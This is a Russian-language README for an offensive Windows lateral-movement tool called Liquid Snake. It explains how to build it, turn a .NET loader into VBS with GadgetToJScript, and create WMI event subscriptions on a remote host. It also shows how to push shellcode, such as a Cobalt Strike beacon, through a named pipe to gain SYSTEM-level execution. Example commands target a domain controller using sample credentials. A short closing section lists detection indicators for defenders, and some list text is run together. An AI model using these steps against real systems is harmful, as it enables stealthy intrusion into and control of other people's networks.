
Инструмент бесфайлового бокового перемещения, использующий подписки на события WMI для выполнения сборок .NET в памяти, с внедрением шеллкода через именованные каналы для удаленной компрометации Windows.
Liquid Snake — это программа, предназначенная для выполнения бокового перемещения в системах Windows без обращения к диску. Инструмент использует подписку на события WMI для выполнения сборки .NET в памяти; сборка .NET будет прослушивать шелл-код в именованном канале, а затем выполнять его с помощью вариации внедрения шелл-кода с перехватом потока.
Диаграмма ниже (надеюсь) проясняет поток данных:

Проект состоит из двух отдельных решений:
CSharpNamedPipeLoader — компонент, который будет преобразован в VBS с помощью GadgetToJScriptLiquidSnake — компонент, отвечающий за создание подписки на события WMI на удаленной системеПросто откройте оба решения в Visual Studio и соберите их. Убедитесь, что для CSharpNamedPipeLoader указана архитектура x64. Если всё прошло успешно, у вас должно быть два отдельных EXE-файла: CSharpNamedPipeLoader.exe и LiquidSnake.exe
С помощью GadgetToJScript преобразуйте CSharpNamedPipeLoader.exe в VBS, используя следующую команду:
GadgetToJScript.exe -a CSharpNamedPipeLoader.exe -b -w vbs
Протестируйте десериализацию .NET с помощью cscript.exe и убедитесь, что всё работает как ожидается:
cscript.exe test.vbs
Затем закодируйте VBS-файл в base64 и вставьте его в переменную vbscript64 в файле Program.cs проекта LiquidSnake в строке 29.
Я уже сделал это за вас, так что вы можете просто скомпилировать решение LiquidSnake и использовать его как есть.
Использование этого проекта просто: используйте LiquidSnake.exe против хоста, к которому у вас есть административный доступ, следующим образом:
LiquidSnake.exe <host> [<username> <password> <domain>]
LiquidSnake.exe dc01.isengard.local
LiquidSnake.exe dc01.isengard.local saruman DeathToFrodo123 isengard.local
ПРИМЕЧАНИЕ: В настоящее время есть ошибка при явном указании учетных данных пользователя — в этом случае инструмент не будет работать. Рекомендуется использовать make_token или любой другой механизм олицетворения.
Если всё прошло успешно, вы должны получить вывод, подобный следующему:
[*] Event filter created.
[*] Event consumer created.
[*] Subscription created, now sleeping
[*] Sending some DCOM love..
[*] Sleeping again... long day
В приведенном выше примере используется execute-assembly от CobaltStrike для запуска LiquidSnake:

Тем временем на удаленном хосте будет создан новый именованный канал со следующим именем:
\\.\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7

Затем, используя мой проект send_shellcode_via_pipe из моих BOFs, вы можете отправить произвольный шелл-код в удаленный канал, который будет загружен и выполнен:
send_shellcode_via_pipe \\dc01\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7 beacon.bin

Если всё сработало как ожидалось, вы должны получить beacon от SYSTEM:

ПРИМЕЧАНИЕ: Текущая версия LiquidSnake содержит артефакт, созданный GadgetToJScript для версии .NET 4.x. Если на целевом хосте установлена только версия 3.5, это не сработает. Просто повторите тот же процесс, но используйте соответствующую версию .NET при сборке GadgetToJScript.
Существует множество возможностей для обнаружения злоупотребления этим инструментом и в целом использования этой техники:
clr.dll, связанные с процессом scrcons.exescrcons.exeКроме того, самый большой недостаток данной реализации заключается в том, что шелл-код отправляется в открытом виде по SMB. Это означает, что если решение для мониторинга сети сможет проверять этот трафик, он, скорее всего, будет заметен. Я не проводил много тестов с наборами правил zeek/bro, но уверен, что он будет обнаружен немедленно.
В папке detection-artefacts я оставил PCAP-файл захвата Wireshark и события Sysmon, сгенерированные во время атаки (с использованием конфигурации по умолчанию от Swift On Security).